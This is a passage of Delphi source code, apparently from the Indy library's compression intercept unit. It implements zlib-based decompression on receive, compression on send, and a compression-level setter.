FDecompressRec.zfree := zlibFreeMem;
if inflateInit_(FDecompressRec, zlib_Version, SizeOf(FDecompressRec)) <> Z_OK then
begin
raise EIdDecompressorInitFailure.Create(RSZLDecompressorInitializeFailure);
end;
end;
end;
procedure TIdCompressionIntercept.Receive(ABuffer: TStream);
var
Buffer: array[0..2047] of Char;
nChars, C: Integer;
StreamEnd: Boolean;
begin
if FCompressionLevel in [1..9] then
begin
InitCompressors;
StreamEnd := False;
repeat
nChars := ABuffer.Read(Buffer, SizeOf(Buffer));
if nChars = 0 then Break;
FDecompressRec.next_in := Buffer;
FDecompressRec.avail_in := nChars;
FDecompressRec.total_in := 0;
while FDecompressRec.avail_in > 0 do
begin
if FRecvCount = FRecvSize then
begin
if FRecvSize = 0 then
FRecvSize := 2048
else
Inc(FRecvSize, 1024);
ReallocMem(FRecvBuf, FRecvSize);
end;
FDecompressRec.next_out := PChar(FRecvBuf) + FRecvCount;
C := FRecvSize - FRecvCount;
FDecompressRec.avail_out := C;
FDecompressRec.total_out := 0;
case inflate(FDecompressRec, Z_NO_FLUSH) of
Z_STREAM_END:
StreamEnd := True;
Z_STREAM_ERROR,
Z_DATA_ERROR,
Z_MEM_ERROR:
raise EIdDecompressionError.Create(RSZLDecompressionError);
end;
Inc(FRecvCount, C - FDecompressRec.avail_out);
end;
until StreamEnd;
ABuffer.Size := 0;
ABuffer.Write(FRecvBuf^, FRecvCount);
FRecvCount := 0;
end;
end;
procedure TIdCompressionIntercept.Send(ABuffer: TStream);
var
Buffer: array[0..1023] of Char;
begin
if FCompressionLevel in [1..9] then
begin
InitCompressors;
// Make sure the Send buffer is large enough to hold the input stream data
if ABuffer.Size > FSendSize then
begin
if ABuffer.Size > 2048 then
FSendSize := ABuffer.Size + (ABuffer.Size + 1023) mod 1024
else
FSendSize := 2048;
ReallocMem(FSendBuf, FSendSize);
end;
// Get the data from the input stream and save it off
FSendCount := ABuffer.Read(FSendBuf^, ABuffer.Size);
FCompressRec.next_in := FSendBuf;
FCompressRec.avail_in := FSendCount;
// reset and clear the input stream in preparation for compression
ABuffer.Size := 0;
// As long as there is still data in the send buffer, keep compressing
while FCompressRec.avail_in > 0 do
begin
FCompressRec.next_out := Buffer;
FCompressRec.avail_out := SizeOf(Buffer);
case deflate(FCompressRec, Z_SYNC_FLUSH) of
Z_STREAM_ERROR,
Z_DATA_ERROR,
Z_MEM_ERROR: raise EIdCompressionError.Create(RSZLCompressionError);
end;
// Place the compressed data back into the input stream
ABuffer.Write(Buffer, SizeOf(Buffer) - FCompressRec.avail_out);
end;
end;
end;
procedure TIdCompressionIntercept.SetCompressionLevel(Value: TCompressionLevel);
begin
if Value <> FCompressionLevel then
begin
DeinitCompressors;
if Value < 0 then Value := 0;
if Value > 9 then Value := 9;
FCompressionLevel := Value;
end;
end;
end.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.